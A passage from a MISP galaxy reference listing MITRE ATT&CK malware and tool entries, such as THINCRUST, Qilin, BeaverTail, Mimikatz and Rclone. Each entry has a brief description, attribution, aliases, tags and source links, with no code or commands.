- RIFLESPINE

Table 11690. Table References

Links
https://attack.mitre.org/software/S1222
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations

THINCRUST - S1223

[THINCRUST](https://attack.mitre.org/software/S1223) is a Python-based backdoor tool that has been used by [UNC3886](https://attack.mitre.org/groups/G1048) since at least 2023.(Citation: Mandiant Fortinet Zero Day)

The tag is: *misp-galaxy:mitre-malware="THINCRUST - S1223"*

THINCRUST - S1223 is also known as:

- THINCRUST

Table 11691. Table References

Links
https://attack.mitre.org/software/S1223
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem

SplatDropper - S1232

[SplatDropper](https://attack.mitre.org/software/S1232) is a loader that utilizes native windows API to deliver its payload to the victim environment. [SplatDropper](https://attack.mitre.org/software/S1232) has been delivered through RAR archives and used legitimate executable for DLL side-loading. [SplatDropper](https://attack.mitre.org/software/S1232) is known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2025.

The tag is: *misp-galaxy:mitre-malware="SplatDropper - S1232"*

SplatDropper - S1232 is also known as:

- SplatDropper

Table 11692. Table References

Links
https://attack.mitre.org/software/S1232

CASTLETAP - S1224

[CASTLETAP](https://attack.mitre.org/software/S1224) is an ICMP port knocking backdoor that has been installed on compromised FortiGate firewalls by [UNC3886](https://attack.mitre.org/groups/G1048).(Citation: Mandiant Fortinet Zero Day)

The tag is: *misp-galaxy:mitre-malware="CASTLETAP - S1224"*

CASTLETAP - S1224 is also known as:

- CASTLETAP

Table 11693. Table References

Links
https://attack.mitre.org/software/S1224
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem

Qilin - S1242

[Qilin](https://attack.mitre.org/software/S1242) ransomware is a Ransomware-as-a-Service (RaaS) that has been active since at least 2022 with versions written in Golang and Rust that are capable of targeting Windows or VMWare ESXi devices. [Qilin](https://attack.mitre.org/software/S1242) shares functionality overlaps with [Black Basta](https://attack.mitre.org/software/S1070), [REvil](https://attack.mitre.org/software/S0496), and [BlackCat](https://attack.mitre.org/software/S1068) ransomware and its RaaS affiliates have been observed targeting multiple sectors worldwide, including healthcare and education in Asia, Europe, and Africa. (Citation: Trend Micro Agenda Ransomware AUG 2022)(Citation: SentinelOne Qilin NOV 2022)(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)

The tag is: *misp-galaxy:mitre-malware="Qilin - S1242"*

Qilin - S1242 is also known as:

- Qilin
- Agenda

Table 11694. Table References

Links
https://attack.mitre.org/software/S1242
https://blog.bushidotoken.net/2024/06/tracking-adversaries-qilin-raas.html
https://news.sophos.com/en-us/2025/04/01/sophos-mdr-tracks-ongoing-campaign-by-qilin-affiliates-targeting-screenconnect/
https://www.sentinelone.com/anthology/agenda-qilin/
https://www.trendmicro.com/en_us/research/22/h/new-golang-ransomware-agenda-customizes-attacks.html

CherryBlos - S1225

[CherryBlos](https://attack.mitre.org/software/S1225) is an Android malware that steals credentials and redirects cryptocurrency to adversary-controlled wallets. [CherryBlos](https://attack.mitre.org/

software/S1225) was labelled Robot 999 in its first appearance in April 2023; since then, various aliases have been used, including GPTalk, Happy Miner, and SynthNet. The threat actors behind [CherryBlos](https://attack.mitre.org/software/S1225) uploaded the malware to different Google Play regions, such as Malaysia, Vietnam, Indonesia, Philippines, Uganda, and Mexico.(Citation: TrendMicro_CherryBlos_July2023)

The tag is: *misp-galaxy:mitre-malware="CherryBlos - S1225"*

CherryBlos - S1225 is also known as:

- CherryBlos

Table 11695. Table References

Links
https://attack.mitre.org/software/S1225
https://www.trendmicro.com/en_us/research/23/g/cherryblos-and-faketrade-android-malware-involved-in-scam-campai.html

BOOKWORM - S1226

[BOOKWORM](https://attack.mitre.org/software/S1226) is a modular trojan known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2015. [BOOKWORM](https://attack.mitre.org/software/S1226) was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters. (Citation: Broadcom)(Citation: Unit42 Bookworm Nov2015)(Citation: Palo Alto Networks, Unit 42)

The tag is: *misp-galaxy:mitre-malware="BOOKWORM - S1226"*

BOOKWORM - S1226 is also known as:

- BOOKWORM

Table 11696. Table References

Links
https://attack.mitre.org/software/S1226
https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/
https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/
https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia

StarProxy - S1227

[StarProxy](https://attack.mitre.org/software/S1227) is custom malware used by [Mustang Panda](https://attack.mitre.org/groups/G0129) as a post-compromise tool, to enable proxying of traffic between the infected machine and other machines on the same network. (Citation: Zscaler)

The tag is: *misp-galaxy:mitre-malware="StarProxy - S1227"*

StarProxy - S1227 is also known as:

- StarProxy

Table 11697. Table References

Links
https://attack.mitre.org/software/S1227
https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1

PUBLOAD - S1228

[PUBLOAD](https://attack.mitre.org/software/S1228) is a stager malware that has been observed installing itself in existing directories such as `C:\Users\Public` or creating new directories to stage the malware and its components.(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload) [PUBLOAD](https://attack.mitre.org/software/S1228) malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2. [PUBLOAD](https://attack.mitre.org/software/S1228) malware has previously been leveraged by China-affiliated actors identified as [Mustang Panda](https://attack.mitre.org/groups/G0129). [PUBLOAD](https://attack.mitre.org/software/S1228) is also known as “NoFive” and some public reporting identifies the loader component as [CLAIMLOADER](https://attack.mitre.org/software/S1236).(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)

The tag is: *misp-galaxy:mitre-malware="PUBLOAD - S1228"*

PUBLOAD - S1228 is also known as:

- PUBLOAD

Table 11698. Table References

Links
https://attack.mitre.org/software/S1228
https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan
https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html

Havoc - S1229

[Havoc](https://attack.mitre.org/software/S1229) is an open-source post-exploitation command and control (C2) framework first released on GitHub in October 2022 by C5pider (Paul Ungur), who continues to maintain and develop it with community contributors. [Havoc](https://attack.mitre.org/software/S1229) provides a wide range of offensive security capabilities and has been adopted by multiple threat actors to establish and maintain control over

compromised systems.

The tag is: *misp-galaxy:mitre-malware="Havoc - S1229"*

Havoc - S1229 is also known as:

- Havoc

Table 11699. Table References

Links
https://attack.mitre.org/software/S1229

PAKLOG - S1233

[PAKLOG](https://attack.mitre.org/software/S1233) is a keylogger known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2024. [PAKLOG](https://attack.mitre.org/software/S1233) is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious [PAKLOG](https://attack.mitre.org/software/S1233) DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the [PAKLOG](https://attack.mitre.org/software/S1233) DLL which starts with the keylogger functionality.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)

The tag is: *misp-galaxy:mitre-malware="PAKLOG - S1233"*

PAKLOG - S1233 is also known as:

- PAKLOG

Table 11700. Table References

Links
https://attack.mitre.org/software/S1233
https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2

DCHSpy - S1243

[DCHSpy](https://attack.mitre.org/software/S1243) is an Android spyware likely used by [MuddyWater](https://attack.mitre.org/groups/G0069). [DCHSpy](https://attack.mitre.org/software/S1243) uses political decoys and masquerades as legitimate applications, such as VPNs and banking applications, to trick victims into downloading the malware. Once downloaded, [DCHSpy](https://attack.mitre.org/software/S1243) collects information from the device and exfiltrates the data to the command and control (C2) server.(Citation: Lookout_DCHSpy_July2025)

The tag is: *misp-galaxy:mitre-malware="DCHSpy - S1243"*

DCHSpy - S1243 is also known as:

- DCHSpy

Table 11701. Table References

Links
https://attack.mitre.org/software/S1243
https://www.lookout.com/threat-intelligence/article/lookout-discovers-iranian-dchsy-surveillanceware

SplatCloak - S1234

[SplatCloak](https://attack.mitre.org/software/S1234) is a malware that disables EDR-related routines used by Windows Defender and Kaspersky to aid in evading detection. [SplatCloak](https://attack.mitre.org/software/S1234) has been deployed by [SplatDropper](https://attack.mitre.org/software/S1232) and is known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) since 2025.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)

The tag is: *misp-galaxy:mitre-malware="SplatCloak - S1234"*

SplatCloak - S1234 is also known as:

- SplatCloak

Table 11702. Table References

Links
https://attack.mitre.org/software/S1234
https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2

CorKLOG - S1235

[CorKLOG](https://attack.mitre.org/software/S1235) is a keylogger known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2024. [CorKLOG](https://attack.mitre.org/software/S1235) is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the [CorKLOG](https://attack.mitre.org/software/S1235) DLL (mscorsvc.dll). [CorKLOG](https://attack.mitre.org/software/S1235) has established persistence on the system by creating services or with scheduled tasks.(Citation: Zscaler PAKLOG CorkLog SplatCloak Splatdropper April 2025)

The tag is: *misp-galaxy:mitre-malware="CorKLOG - S1235"*

CorKLOG - S1235 is also known as:

- CorKLOG

Table 11703. Table References

Links
https://attack.mitre.org/software/S1235
https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2

CLAIMLOADER - S1236

[CLAIMLOADER](https://attack.mitre.org/software/S1236) is a malware variant that frequently accompanies legitimate executables that are used for DLL side-loading known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2021.(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)

The tag is: *misp-galaxy:mitre-malware="CLAIMLOADER - S1236"*

CLAIMLOADER - S1236 is also known as:

- CLAIMLOADER

Table 11704. Table References

Links
https://attack.mitre.org/software/S1236
https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor
https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan

CANONSTAGER - S1237

[CANONSTAGER](https://attack.mitre.org/software/S1237) is a loader known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2025. [Mustang Panda](https://attack.mitre.org/groups/G0129) utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload. [CANONSTAGER](https://attack.mitre.org/software/S1237) leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. [CANONSTAGER](https://attack.mitre.org/software/S1237) also hides its code utilizing window procedures and message queues.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)

The tag is: *misp-galaxy:mitre-malware="CANONSTAGER - S1237"*

CANONSTAGER - S1237 is also known as:

- CANONSTAGER

Table 11705. Table References

Links
https://attack.mitre.org/software/S1237
https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats

STATICPLUGIN - S1238

[STATICPLUGIN](https://attack.mitre.org/software/S1238) is a downloader known to be leveraged by [Mustang Panda](https://attack.mitre.org/groups/G0129) and was first observed utilized in 2025. [STATICPLUGIN](https://attack.mitre.org/software/S1238) has utilized a valid certificate in order to bypass endpoint security protections. [STATICPLUGIN](https://attack.mitre.org/software/S1238) masqueraded as legitimate software installer by using a custom TForm. [STATICPLUGIN](https://attack.mitre.org/software/S1238) has been leveraged to deploy a loader that facilitates follow on malware.(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)

The tag is: *misp-galaxy:mitre-malware="STATICPLUGIN - S1238"*

STATICPLUGIN - S1238 is also known as:

- STATICPLUGIN

Table 11706. Table References

Links
https://attack.mitre.org/software/S1238
https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats

TONESHELL - S1239

[TONESHELL](https://attack.mitre.org/software/S1239) is a custom backdoor that has been used since at least Q1 2021.(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023) [TONESHELL](https://attack.mitre.org/software/S1239) malware has previously been leveraged by Chinese affiliated actors identified as [Mustang Panda](https://attack.mitre.org/groups/G0129).(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Zscaler)

The tag is: *misp-galaxy:mitre-malware="TONESHELL - S1239"*

TONESHELL - S1239 is also known as:

- TONESHELL

Table 11707. Table References

Links
https://attack.mitre.org/software/S1239
https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/

https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/
https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1

InvisibleFerret - S1245

[InvisibleFerret](https://attack.mitre.org/software/S1245) is a modular python malware that is leveraged for data exfiltration and remote access capabilities.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023) [InvisibleFerret](https://attack.mitre.org/software/S1245) consists of four modules: main, payload, browser, and AnyDesk.(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025) [InvisibleFerret](https://attack.mitre.org/software/S1245) malware has been leveraged by North Korea-affiliated threat actors identified as DeceptiveDevelopment or [Contagious Interview](https://attack.mitre.org/groups/G1052) since 2023.(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024) [InvisibleFerret](https://attack.mitre.org/software/S1245) has historically been introduced to the victim environment through the use of the [BeaverTail](https://attack.mitre.org/software/S1246) malware.(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)

The tag is: *misp-galaxy:mitre-malware="InvisibleFerret - S1245"*

InvisibleFerret - S1245 is also known as:

- InvisibleFerret

Table 11708. Table References

Links
https://attack.mitre.org/software/S1245
https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/
https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/
https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2
https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/

https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

BeaverTail - S1246

[BeaverTail](https://attack.mitre.org/software/S1246) is a malware that has both a JavaScript and C++ variant. Active since 2022, [BeaverTail](https://attack.mitre.org/software/S1246) is capable of stealing logins from browsers and serves as a downloader for second stage payloads. [BeaverTail](https://attack.mitre.org/software/S1246) has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or [Contagious Interview](https://attack.mitre.org/groups/G1052). [BeaverTail](https://attack.mitre.org/software/S1246) has been delivered to victims through code repository sites and has been embedded within malicious attachments.(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)

The tag is: *misp-galaxy:mitre-malware="BeaverTail - S1246"*

BeaverTail - S1246 is also known as:

- BeaverTail

Table 11709. Table References

Links
https://attack.mitre.org/software/S1246
https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/
https://www.esentire.com/blog/bored-beavertail-invisibleferret-yacht-club-a-lazarus-lure-pt-2
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/
https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

Embargo - S1247

[Embargo](https://attack.mitre.org/software/S1247) is a ransomware variant written in Rust that has been active since at least May 2024.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) [Embargo](https://attack.mitre.org/software/S1247) ransomware operations are associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid.(Citation: Cyble Embargo Ransomware May 2024)(Citation: ESET Embargo Ransomware October 2024) [Embargo](https://attack.mitre.org/software/S1247) ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts.(Citation: ESET Embargo Ransomware October 2024) [Embargo](https://attack.mitre.org/software/S1247) is

also reportedly a Ransomware as a Service (RaaS).(Citation: ESET Embargo Ransomware October 2024)

The tag is: *misp-galaxy:mitre-malware="Embargo - S1247"*

Embargo - S1247 is also known as:

- Embargo

Table 11710. Table References

Links
https://attack.mitre.org/software/S1247
https://cyble.com/blog/the-rust-revolution-new-embargo-ransomware-steps-in/
https://www.welivesecurity.com/en/eset-research/embargo-ransomware-rocknrust/

mitre-tool

Name of ATT&CK software.

mitre-tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Windows Credential Editor - S0005

[Windows Credential Editor](https://attack.mitre.org/software/S0005) is a password dumping tool. (Citation: Amplia WCE)

The tag is: *misp-galaxy:mitre-tool="Windows Credential Editor - S0005"*

Windows Credential Editor - S0005 is also known as:

- Windows Credential Editor
- WCE

Table 11711. Table References

Links
https://attack.mitre.org/software/S0005
https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html

Brute Ratel C4 - S1063

[Brute Ratel C4](https://attack.mitre.org/software/S1063) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://attack.mitre.org/software/S1063) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://attack.mitre.org/software/S1063) was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)

The tag is: *misp-galaxy:mitre-tool="Brute Ratel C4 - S1063"*

Brute Ratel C4 - S1063 is also known as:

- Brute Ratel C4
- BRc4

Table 11712. Table References

Links
https://attack.mitre.org/software/S1063
https://bruteratel.com/
https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/
https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/
https://www.sans.org/blog/cracked-brute-ratel-c4-framework-proliferates-across-the-cybercriminal-underground/
https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html

Pass-The-Hash Toolkit - S0122

[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Pass-The-Hash Toolkit - S0122"*

Table 11713. Table References

Links
https://attack.mitre.org/software/S0122
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Quick Assist - S1209

[Quick Assist](https://attack.mitre.org/software/S1209) is a remote assistance tool primarily for Microsoft Windows, although a macOS version also exists. [Quick Assist](https://attack.mitre.org/software/S1209) allows for remote screen sharing and, with end user approval, remote control and command execution on the enabling device.(Citation: Microsoft Storm-1811 2024)(Citation: Microsoft Quick Assist 2024)

The tag is: *misp-galaxy:mitre-tool="Quick Assist - S1209"*

Quick Assist - S1209 is also known as:

- Quick Assist

Table 11714. Table References

Links
https://attack.mitre.org/software/S1209
https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/

CSPY Downloader - S0527

[CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)

The tag is: *misp-galaxy:mitre-tool="CSPY Downloader - S0527"*

CSPY Downloader - S0527 is also known as:

- CSPY Downloader

Table 11715. Table References

Links
https://attack.mitre.org/software/S0527
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Imminent Monitor - S0434

[Imminent Monitor](https://attack.mitre.org/software/S0434) was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.(Citation: Imminent Unit42 Dec2019)

The tag is: *misp-galaxy:mitre-tool="Imminent Monitor - S0434"*

Imminent Monitor - S0434 is also known as:

- Imminent Monitor

Table 11716. Table References

Links
https://attack.mitre.org/software/S0434
https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/

Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

The tag is: *misp-galaxy:mitre-tool="Invoke-PSImage - S0231"*

Invoke-PSImage - S0231 is also known as:

- Invoke-PSImage

Table 11717. Table References

Links
https://attack.mitre.org/software/S0231
https://github.com/peewpw/Invoke-PSImage

cipher.exe - S1205

[cipher.exe](https://attack.mitre.org/software/S1205) is a native Microsoft utility that manages encryption of directories and files on NTFS (New Technology File System) partitions by using the Encrypting File System (EFS).(Citation: cipher.exe)

The tag is: *misp-galaxy:mitre-tool="cipher.exe - S1205"*

cipher.exe - S1205 is also known as:

- cipher.exe

Table 11718. Table References

Links
https://attack.mitre.org/software/S1205

https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4

ipconfig - S0100

[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)

The tag is: *misp-galaxy:mitre-tool="ipconfig - S0100"*

ipconfig - S0100 is also known as:

- ipconfig

Table 11719. Table References

Links
https://attack.mitre.org/software/S0100
https://technet.microsoft.com/en-us/library/bb490921.aspx

Mimikatz - S0002

[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)

The tag is: *misp-galaxy:mitre-tool="Mimikatz - S0002"*

Mimikatz - S0002 is also known as:

- Mimikatz

View relationships graph

Mimikatz - S0002 has relationships with:

- similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"

Table 11720. Table References

Links
https://adsecurity.org/?page_id=1821
https://attack.mitre.org/software/S0002
https://github.com/gentilkiwi/mimikatz

HTRAN - S0040

[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)

The tag is: *misp-galaxy:mitre-tool="HTRAN - S0040"*

HTRAN - S0040 is also known as:

- HTRAN
- HUC Packet Transmit Tool

View relationships graph

HTRAN - S0040 has relationships with:

- similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"

Table 11721. Table References

Links
https://attack.mitre.org/software/S0040
https://web.archive.org/web/20210920193513/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools

MCMD - S0500

[MCMD](https://attack.mitre.org/software/S0500) is a remote access tool that provides remote command shell capability used by [Dragonfly 2.0](https://attack.mitre.org/groups/G0074).(Citation: Secureworks MCMD July 2019)

The tag is: *misp-galaxy:mitre-tool="MCMD - S0500"*

MCMD - S0500 is also known as:

- MCMD

Table 11722. Table References

Links
https://attack.mitre.org/software/S0500
https://www.secureworks.com/research/mcmd-malware-analysis

pwdump - S0006

[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)

The tag is: *misp-galaxy:mitre-tool="pwdump - S0006"*

pwdump - S0006 is also known as:

- pwdump

Table 11723. Table References

Links
https://attack.mitre.org/software/S0006
https://en.wikipedia.org/wiki/Pwdump

gsecdump - S0008

[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)

The tag is: *misp-galaxy:mitre-tool="gsecdump - S0008"*

gsecdump - S0008 is also known as:

- gsecdump

View relationships graph

gsecdump - S0008 has relationships with:

- similar: misp-galaxy:malpedia="gsecdump" with estimative-language:likelihood-probability="likely"

Table 11724. Table References

Links
https://attack.mitre.org/software/S0008
https://web.archive.org/web/20140328102838/https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5

at - S0110

[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at)

The tag is: *misp-galaxy:mitre-tool="at - S0110"*

at - S0110 is also known as:

- at
- at.exe

Table 11725. Table References

Links
https://attack.mitre.org/software/S0110
https://man7.org/linux/man-pages/man1/at.1p.html
https://technet.microsoft.com/en-us/library/bb490866.aspx

ifconfig - S0101

[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)

The tag is: *misp-galaxy:mitre-tool="ifconfig - S0101"*

Table 11726. Table References

Links
https://attack.mitre.org/software/S0101
https://en.wikipedia.org/wiki/Ifconfig

Fgdump - S0120

[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Fgdump - S0120"*

Fgdump - S0120 is also known as:

- Fgdump

Table 11727. Table References

Links
https://attack.mitre.org/software/S0120
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

nbtstat - S0102

[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)

The tag is: *misp-galaxy:mitre-tool="nbtstat - S0102"*

Table 11728. Table References

Links
https://attack.mitre.org/software/S0102
https://technet.microsoft.com/en-us/library/cc940106.aspx

route - S0103

[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)

The tag is: *misp-galaxy:mitre-tool="route - S0103"*

Table 11729. Table References

Links
https://attack.mitre.org/software/S0103
https://technet.microsoft.com/en-us/library/bb490991.aspx

Rclone - S1040

[Rclone](https://attack.mitre.org/software/S1040) is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. [Rclone](https://attack.mitre.org/software/S1040) has been used in a number of ransomware campaigns, including those associated with the [Conti](https://attack.mitre.org/software/S0575) and DarkSide Ransomware-as-a-Service operations.(Citation: Rclone)(Citation: Rclone Wars)(Citation: Detecting Rclone)(Citation: DarkSide Ransomware Gang)(Citation: DFIR Conti Bazar Nov 2021)

The tag is: *misp-galaxy:mitre-tool="Rclone - S1040"*

Rclone - S1040 is also known as:

- Rclone

Table 11730. Table References

Links
https://attack.mitre.org/software/S1040
https://rclone.org
https://redcanary.com/blog/rclone-mega-extortion/
https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://unit42.paloaltonetworks.com/darkside-ransomware/

netstat - S0104

[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)

The tag is: *misp-galaxy:mitre-tool="netstat - S0104"*

netstat - S0104 is also known as:

- netstat

Table 11731. Table References

Links
https://attack.mitre.org/software/S0104
https://technet.microsoft.com/en-us/library/bb490947.aspx

PcShare - S1050

[PcShare](https://attack.mitre.org/software/S1050) is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: GitHub PcShare 2014)

The tag is: *misp-galaxy:mitre-tool="PcShare - S1050"*

PcShare - S1050 is also known as:

- PcShare

Table 11732. Table References

Links
https://attack.mitre.org/software/S1050
